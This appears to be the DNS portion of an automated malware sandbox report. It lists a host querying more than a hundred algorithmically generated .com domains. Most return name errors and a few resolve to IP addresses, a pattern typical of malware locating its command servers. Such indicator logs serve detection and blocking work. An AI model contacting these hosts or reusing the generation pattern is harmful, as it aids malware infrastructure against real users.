Nov 11, 2024 18:51:38.012691975 CET	192.168.2.6	1.1.1.1	0x5702	Standard query (0)	vowypim.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.019654036 CET	192.168.2.6	1.1.1.1	0xd499	Standard query (0)	puvylep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.025002956 CET	192.168.2.6	1.1.1.1	0x3146	Standard query (0)	vojymuk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.026726007 CET	192.168.2.6	1.1.1.1	0x90d7	Standard query (0)	qetysog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.053524971 CET	192.168.2.6	1.1.1.1	0xb24f	Standard query (0)	gacyqoz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.055414915 CET	192.168.2.6	1.1.1.1	0x6b6a	Standard query (0)	vofydak.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.258965969 CET	192.168.2.6	1.1.1.1	0xc29f	Standard query (0)	pufydaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.260139942 CET	192.168.2.6	1.1.1.1	0x6dc6	Standard query (0)	qeqylyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.260448933 CET	192.168.2.6	1.1.1.1	0x9fc0	Standard query (0)	vocyqot.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.260950089 CET	192.168.2.6	1.1.1.1	0x45dd	Standard query (0)	lyryxud.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.261347055 CET	192.168.2.6	1.1.1.1	0xc017	Standard query (0)	lyxymix.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.261627913 CET	192.168.2.6	1.1.1.1	0x76fa	Standard query (0)	qegyfeq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.261826038 CET	192.168.2.6	1.1.1.1	0x7ae0	Standard query (0)	gaqyzyb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.262181044 CET	192.168.2.6	1.1.1.1	0x50f9	Standard query (0)	vopycoc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.262254000 CET	192.168.2.6	1.1.1.1	0x7981	Standard query (0)	gahyfyh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.262562990 CET	192.168.2.6	1.1.1.1	0x2e8f	Standard query (0)	qekyhug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.262741089 CET	192.168.2.6	1.1.1.1	0x6eab	Standard query (0)	lykygun.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.263015985 CET	192.168.2.6	1.1.1.1	0xb238	Standard query (0)	puvywal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.264542103 CET	192.168.2.6	1.1.1.1	0x4fb7	Standard query (0)	lygyfej.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.265055895 CET	192.168.2.6	1.1.1.1	0x33f6	Standard query (0)	puryxuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.265445948 CET	192.168.2.6	1.1.1.1	0x3de4	Standard query (0)	lysyvax.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.265610933 CET	192.168.2.6	1.1.1.1	0x3e59	Standard query (0)	pupycop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.265939951 CET	192.168.2.6	1.1.1.1	0xddfd	Standard query (0)	vonyryk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.272665024 CET	192.168.2.6	1.1.1.1	0x2ed8	Standard query (0)	ganyrew.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.273025036 CET	192.168.2.6	1.1.1.1	0x4b1d	Standard query (0)	qexyqip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.275070906 CET	192.168.2.6	1.1.1.1	0x1042	Standard query (0)	qetyxiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.276149035 CET	192.168.2.6	1.1.1.1	0x4ff3	Standard query (0)	pujygug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.507536888 CET	192.168.2.6	1.1.1.1	0xde2c	Standard query (0)	lyvywar.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:38.509537935 CET	192.168.2.6	1.1.1.1	0xe75c	Standard query (0)	gatycis.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:39.106549978 CET	192.168.2.6	1.1.1.1	0xd8dc	Standard query (0)	vojygym.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:39.108784914 CET	192.168.2.6	1.1.1.1	0xeaee	Standard query (0)	galyhib.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:39.108943939 CET	192.168.2.6	1.1.1.1	0x9ba0	Standard query (0)	qebyrel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.292850018 CET	192.168.2.6	1.1.1.1	0x29e3	Standard query (0)	lysyxuj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.293374062 CET	192.168.2.6	1.1.1.1	0x6385	Standard query (0)	qekyfep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.293946028 CET	192.168.2.6	1.1.1.1	0x7367	Standard query (0)	pupyxuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.294572115 CET	192.168.2.6	1.1.1.1	0xd57e	Standard query (0)	lykyfax.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.299303055 CET	192.168.2.6	1.1.1.1	0x6e33	Standard query (0)	volygyt.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.300474882 CET	192.168.2.6	1.1.1.1	0xb244	Standard query (0)	gadycih.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.300822020 CET	192.168.2.6	1.1.1.1	0x34a	Standard query (0)	vonyqof.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.301237106 CET	192.168.2.6	1.1.1.1	0xf42d	Standard query (0)	vofycim.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.301476002 CET	192.168.2.6	1.1.1.1	0xc38a	Standard query (0)	lymywad.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.301819086 CET	192.168.2.6	1.1.1.1	0xac52	Standard query (0)	gaqyres.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.302259922 CET	192.168.2.6	1.1.1.1	0x6b9c	Standard query (0)	lyvymun.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.304255009 CET	192.168.2.6	1.1.1.1	0xd346	Standard query (0)	lygyvon.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.318511963 CET	192.168.2.6	1.1.1.1	0xd80b	Standard query (0)	qexyhul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.320471048 CET	192.168.2.6	1.1.1.1	0xec7b	Standard query (0)	puvymug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.320492983 CET	192.168.2.6	1.1.1.1	0xbea8	Standard query (0)	puzygyl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.321589947 CET	192.168.2.6	1.1.1.1	0xc40c	Standard query (0)	pujydap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.321742058 CET	192.168.2.6	1.1.1.1	0xa830	Standard query (0)	qebyqig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.322115898 CET	192.168.2.6	1.1.1.1	0xfa26	Standard query (0)	vopyzyk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.322369099 CET	192.168.2.6	1.1.1.1	0x5e2c	Standard query (0)	vocymum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.322585106 CET	192.168.2.6	1.1.1.1	0x5aa9	Standard query (0)	gahyvab.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.322808981 CET	192.168.2.6	1.1.1.1	0xf377	Standard query (0)	gacyhuw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.323040009 CET	192.168.2.6	1.1.1.1	0xace	Standard query (0)	lyrytyx.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.330336094 CET	192.168.2.6	1.1.1.1	0xe40f	Standard query (0)	vocyjik.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.331248999 CET	192.168.2.6	1.1.1.1	0x1d6e	Standard query (0)	qetytup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.342077017 CET	192.168.2.6	1.1.1.1	0x5de9	Standard query (0)	vojydoc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.351772070 CET	192.168.2.6	1.1.1.1	0x3081	Standard query (0)	qeqyrav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.356265068 CET	192.168.2.6	1.1.1.1	0x22dc	Standard query (0)	vonykam.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.367012978 CET	192.168.2.6	1.1.1.1	0x55c5	Standard query (0)	ganyqib.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.367635012 CET	192.168.2.6	1.1.1.1	0x9c2	Standard query (0)	galynus.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.367661953 CET	192.168.2.6	1.1.1.1	0x7bbb	Standard query (0)	lykynyd.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.367980003 CET	192.168.2.6	1.1.1.1	0xcf0e	Standard query (0)	qedysol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.368146896 CET	192.168.2.6	1.1.1.1	0x903e	Standard query (0)	vopyput.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.368264914 CET	192.168.2.6	1.1.1.1	0x3903	Standard query (0)	puvyjiq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.368479967 CET	192.168.2.6	1.1.1.1	0x9299	Standard query (0)	qedyxuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.368987083 CET	192.168.2.6	1.1.1.1	0xa83c	Standard query (0)	vojybef.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.371277094 CET	192.168.2.6	1.1.1.1	0x2b87	Standard query (0)	lyvyjoj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.371550083 CET	192.168.2.6	1.1.1.1	0x719a	Standard query (0)	qetylel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.372395992 CET	192.168.2.6	1.1.1.1	0x31d6	Standard query (0)	purytyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.380916119 CET	192.168.2.6	1.1.1.1	0x20bb	Standard query (0)	pufycog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.381063938 CET	192.168.2.6	1.1.1.1	0x14b3	Standard query (0)	vowyrec.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.383220911 CET	192.168.2.6	1.1.1.1	0x309b	Standard query (0)	pujybev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.383456945 CET	192.168.2.6	1.1.1.1	0xab45	Standard query (0)	lyxygur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.383521080 CET	192.168.2.6	1.1.1.1	0xb275	Standard query (0)	qexynyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.383761883 CET	192.168.2.6	1.1.1.1	0x8cec	Standard query (0)	volymuc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.384449959 CET	192.168.2.6	1.1.1.1	0xe014	Standard query (0)	pumywov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.385081053 CET	192.168.2.6	1.1.1.1	0x721b	Standard query (0)	gahydos.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.385760069 CET	192.168.2.6	1.1.1.1	0x5e28	Standard query (0)	pumyleg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.385926962 CET	192.168.2.6	1.1.1.1	0x6bfa	Standard query (0)	pufypuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.396886110 CET	192.168.2.6	1.1.1.1	0x2752	Standard query (0)	pupypil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.400593042 CET	192.168.2.6	1.1.1.1	0xf531	Standard query (0)	lyryler.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.400737047 CET	192.168.2.6	1.1.1.1	0x8f3b	Standard query (0)	gatyzyw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.400873899 CET	192.168.2.6	1.1.1.1	0x8a62	Standard query (0)	ganykah.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.401611090 CET	192.168.2.6	1.1.1.1	0x7bd9	Standard query (0)	gatypuz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.401792049 CET	192.168.2.6	1.1.1.1	0xaf7b	Standard query (0)	purylal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.402081013 CET	192.168.2.6	1.1.1.1	0xed2b	Standard query (0)	gacynyh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.402401924 CET	192.168.2.6	1.1.1.1	0x827b	Standard query (0)	qegysiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.402713060 CET	192.168.2.6	1.1.1.1	0xed44	Standard query (0)	vowykat.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.402901888 CET	192.168.2.6	1.1.1.1	0xbf43	Standard query (0)	qegyvag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.403043032 CET	192.168.2.6	1.1.1.1	0xf69e	Standard query (0)	lygysid.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.733179092 CET	192.168.2.6	1.1.1.1	0x6b81	Standard query (0)	qekynyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.733474016 CET	192.168.2.6	1.1.1.1	0xf670	Standard query (0)	lysysir.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.733495951 CET	192.168.2.6	1.1.1.1	0x3cd4	Standard query (0)	qebykoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.733902931 CET	192.168.2.6	1.1.1.1	0xa622	Standard query (0)	lymylen.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:40.734031916 CET	192.168.2.6	1.1.1.1	0x8f0f	Standard query (0)	galyfez.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.554846048 CET	192.168.2.6	1.1.1.1	0x7023	Standard query (0)	gaqykoz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.556314945 CET	192.168.2.6	1.1.1.1	0xbac3	Standard query (0)	lyxynej.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.566381931 CET	192.168.2.6	1.1.1.1	0x5562	Standard query (0)	pumyjip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.566734076 CET	192.168.2.6	1.1.1.1	0x4bb0	Standard query (0)	pupyteg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.567681074 CET	192.168.2.6	1.1.1.1	0x5b7b	Standard query (0)	qeqykop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.571909904 CET	192.168.2.6	1.1.1.1	0x9c1b	Standard query (0)	qedytyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.573148012 CET	192.168.2.6	1.1.1.1	0xb9b6	Standard query (0)	volybak.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.573973894 CET	192.168.2.6	1.1.1.1	0x7a31	Standard query (0)	lymyjix.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.574670076 CET	192.168.2.6	1.1.1.1	0x7cd7	Standard query (0)	vonyjuc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.576915026 CET	192.168.2.6	1.1.1.1	0xd0c8	Standard query (0)	qekyvol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.577771902 CET	192.168.2.6	1.1.1.1	0xd0f2	Standard query (0)	lysytyn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.578217983 CET	192.168.2.6	1.1.1.1	0x7743	Standard query (0)	vofypuf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.582288980 CET	192.168.2.6	1.1.1.1	0xb999	Standard query (0)	qebyhuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.585918903 CET	192.168.2.6	1.1.1.1	0xc93f	Standard query (0)	qeqyqul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.587908983 CET	192.168.2.6	1.1.1.1	0x70fa	Standard query (0)	puzydog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.591660976 CET	192.168.2.6	1.1.1.1	0xc472	Standard query (0)	ganyhus.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.609992027 CET	192.168.2.6	1.1.1.1	0x9702	Standard query (0)	gadypub.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.610308886 CET	192.168.2.6	1.1.1.1	0xe3be	Standard query (0)	galyvaw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.614151001 CET	192.168.2.6	1.1.1.1	0x13ef	Standard query (0)	puzybeq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.622056007 CET	192.168.2.6	1.1.1.1	0xd263	Standard query (0)	lykyvor.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.801790953 CET	192.168.2.6	1.1.1.1	0x18a3	Standard query (0)	pujycil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.802035093 CET	192.168.2.6	1.1.1.1	0x8b9c	Standard query (0)	gatyrah.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.802381992 CET	192.168.2.6	1.1.1.1	0x597a	Standard query (0)	qetyraq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.802584887 CET	192.168.2.6	1.1.1.1	0x7dbd	Standard query (0)	purywoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.804702044 CET	192.168.2.6	1.1.1.1	0x8660	Standard query (0)	puvygyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.804862022 CET	192.168.2.6	1.1.1.1	0x1765	Standard query (0)	gahycuz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.804878950 CET	192.168.2.6	1.1.1.1	0xc3c2	Standard query (0)	vocygef.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.805166960 CET	192.168.2.6	1.1.1.1	0xc859	Standard query (0)	gacyfeb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.805378914 CET	192.168.2.6	1.1.1.1	0x920b	Standard query (0)	pufyxyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.805526972 CET	192.168.2.6	1.1.1.1	0x48b5	Standard query (0)	vowyqik.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.805604935 CET	192.168.2.6	1.1.1.1	0x7633	Standard query (0)	gaqyqiw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.805835962 CET	192.168.2.6	1.1.1.1	0x20ad	Standard query (0)	lyxyfan.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.806076050 CET	192.168.2.6	1.1.1.1	0x6e8e	Standard query (0)	qexyfag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.806180954 CET	192.168.2.6	1.1.1.1	0x720a	Standard query (0)	lygyxux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.806718111 CET	192.168.2.6	1.1.1.1	0x3f29	Standard query (0)	vofyzyc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.808319092 CET	192.168.2.6	1.1.1.1	0xa5c1	Standard query (0)	lyrywoj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.848514080 CET	192.168.2.6	1.1.1.1	0xd9d3	Standard query (0)	lyvygyd.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.853260994 CET	192.168.2.6	1.1.1.1	0xa00a	Standard query (0)	vopyrem.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.853765965 CET	192.168.2.6	1.1.1.1	0x6c86	Standard query (0)	vojycit.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:41.953929901 CET	192.168.2.6	1.1.1.1	0x929e	Standard query (0)	qegyxup.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 11, 2024 18:50:27.751435041 CET	1.1.1.1	192.168.2.6	0xed30	Name error (3)	qekyqop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:27.773113012 CET	1.1.1.1	192.168.2.6	0xa42d	Name error (3)	lysynur.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:27.782449961 CET	1.1.1.1	192.168.2.6	0xab0d	Name error (3)	volyqat.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:27.795881033 CET	1.1.1.1	192.168.2.6	0xa0d8	Name error (3)	qedyfyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:27.800216913 CET	1.1.1.1	192.168.2.6	0x2bdb	Name error (3)	pumyxiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:27.815541029 CET	1.1.1.1	192.168.2.6	0x6851	Name error (3)	vonyzuf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:27.816816092 CET	1.1.1.1	192.168.2.6	0xc00f	Name error (3)	lyxywer.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:27.832530975 CET	1.1.1.1	192.168.2.6	0xb4a4	Name error (3)	vojyjof.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:27.944394112 CET	1.1.1.1	192.168.2.6	0x55ea	No error (0)	vonypom.com		18.208.156.248	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:27.952097893 CET	1.1.1.1	192.168.2.6	0x7328	No error (0)	lymyxid.com		3.94.10.34	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:27.968569994 CET	1.1.1.1	192.168.2.6	0x2bca	Server failure (2)	lysyfyj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.249588966 CET	1.1.1.1	192.168.2.6	0xc82c	No error (0)	galyqaz.com		199.191.50.83	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.367583990 CET	1.1.1.1	192.168.2.6	0x169b	Name error (3)	qekykev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.368560076 CET	1.1.1.1	192.168.2.6	0x824f	Name error (3)	purycap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.372744083 CET	1.1.1.1	192.168.2.6	0xeee6	Name error (3)	qebytiq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.374234915 CET	1.1.1.1	192.168.2.6	0xb466	Name error (3)	ganypih.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.374922991 CET	1.1.1.1	192.168.2.6	0x8f45	Name error (3)	lykyjad.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.375605106 CET	1.1.1.1	192.168.2.6	0x9417	Name error (3)	vopybyt.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.377393007 CET	1.1.1.1	192.168.2.6	0x18a4	Name error (3)	pufygug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.383105040 CET	1.1.1.1	192.168.2.6	0xef39	Name error (3)	qexyryl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.384108067 CET	1.1.1.1	192.168.2.6	0x258	No error (0)	gahyqah.com		23.253.46.64	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.384108067 CET	1.1.1.1	192.168.2.6	0x258	No error (0)	gahyqah.com		162.255.119.102	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.388629913 CET	1.1.1.1	192.168.2.6	0xeb06	Name error (3)	pujyjav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.390916109 CET	1.1.1.1	192.168.2.6	0xe122	Name error (3)	gacyryw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.391107082 CET	1.1.1.1	192.168.2.6	0xa556	Name error (3)	galykes.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.391117096 CET	1.1.1.1	192.168.2.6	0x9584	Name error (3)	puvyxil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.392107964 CET	1.1.1.1	192.168.2.6	0xe8e0	Name error (3)	qeqyxov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.392117977 CET	1.1.1.1	192.168.2.6	0xdeb	Name error (3)	gahyhob.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.392851114 CET	1.1.1.1	192.168.2.6	0x9ea8	Name error (3)	qetyvep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.392862082 CET	1.1.1.1	192.168.2.6	0xaf06	Name error (3)	puvytuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.400861979 CET	1.1.1.1	192.168.2.6	0xeb6e	Name error (3)	pupybul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.401792049 CET	1.1.1.1	192.168.2.6	0x21d8	No error (0)	qegyhig.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.401792049 CET	1.1.1.1	192.168.2.6	0x21d8	No error (0)	qegyhig.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.401968002 CET	1.1.1.1	192.168.2.6	0x706f	Name error (3)	lyryfyd.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.402671099 CET	1.1.1.1	192.168.2.6	0x122f	Name error (3)	gaqycos.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.403134108 CET	1.1.1.1	192.168.2.6	0x1d7f	Name error (3)	qegyqaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.403167009 CET	1.1.1.1	192.168.2.6	0xc5b7	Name error (3)	vowycac.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.403513908 CET	1.1.1.1	192.168.2.6	0x5eb1	Name error (3)	lygygin.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.403744936 CET	1.1.1.1	192.168.2.6	0xa03b	Name error (3)	lymysan.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.407493114 CET	1.1.1.1	192.168.2.6	0x7a79	Name error (3)	qeqysag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.412553072 CET	1.1.1.1	192.168.2.6	0x834a	Name error (3)	vocyruk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.415435076 CET	1.1.1.1	192.168.2.6	0x84f	Name error (3)	pumypog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.420938015 CET	1.1.1.1	192.168.2.6	0xb232	Name error (3)	lyryvex.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.421739101 CET	1.1.1.1	192.168.2.6	0x5c23	Name error (3)	vofymik.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.423144102 CET	1.1.1.1	192.168.2.6	0x99b8	Name error (3)	gaqydeb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.424077988 CET	1.1.1.1	192.168.2.6	0xa468	Name error (3)	vowydef.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.424088001 CET	1.1.1.1	192.168.2.6	0xd82e	Name error (3)	gacyzuz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.425787926 CET	1.1.1.1	192.168.2.6	0xf810	Name error (3)	vofygum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.426613092 CET	1.1.1.1	192.168.2.6	0x9a06	Name error (3)	puzywel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.433950901 CET	1.1.1.1	192.168.2.6	0x5611	Name error (3)	volykyc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.441548109 CET	1.1.1.1	192.168.2.6	0xd6a0	Name error (3)	qedynul.com	none	none	A (IP address)	IN (0x0001)	false
